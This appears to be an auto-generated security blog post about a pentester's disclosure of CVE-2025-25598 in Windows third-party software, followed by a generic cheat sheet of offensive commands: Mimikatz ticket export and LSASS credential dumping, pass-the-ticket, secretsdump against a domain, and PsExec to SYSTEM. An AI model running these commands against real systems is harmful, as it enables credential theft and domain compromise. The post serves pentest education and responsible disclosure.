Listen to this Post
In a recent engagement, a penetration tester successfully exploited a vulnerability in third-party software installed on a high-value Windows machine within an Active Directory environment. This led to gaining SYSTEM privileges, extracting sensitive data, and ultimately notifying the vendor to issue a fix. The vulnerability was assigned CVE-2025-25598, and the vendor acted promptly to resolve the issue, impacting thousands of systems globally.
You Should Know:
1. Kerberos Post-Exploitation Commands:
- Extract Kerberos tickets:
mimikatz.exe "kerberos::list /export"
- Pass-the-Ticket attack:
mimikatz.exe "kerberos::ptt <ticket.kirbi>"
2. Exploiting Third-Party Software:
- Identify installed software:
wmic product get name,version
- Check for known vulnerabilities:
searchsploit <software_name>
3. Privilege Escalation on Windows:
- Use PsExec to gain SYSTEM privileges:
psexec.exe -s -i cmd.exe
- Dump LSASS for credentials:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
4. Active Directory Enumeration:
- List domain users:
net user /domain
- Extract secrets from AD:
secretsdump.py -just-dc <domain>/<user>:<password>@<target_ip>
5. Reporting and Mitigation:
- Notify vendors responsibly via email or their security contact page.
- Use tools like Metasploit or Nmap to verify patches:
nmap -sV --script=vuln <target_ip>
What Undercode Say:
Penetration testing often requires thinking outside the box, especially when dealing with well-secured environments. Exploiting third-party software can be a goldmine for discovering vulnerabilities, as smaller vendors may not prioritize security. Always document your findings, report responsibly, and use tools like Mimikatz, PsExec, and Nmap to validate your exploits. Remember, persistence and creativity are key in cybersecurity.
Relevant URLs:
References:
Reported By: Activity 7306125223488040960 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
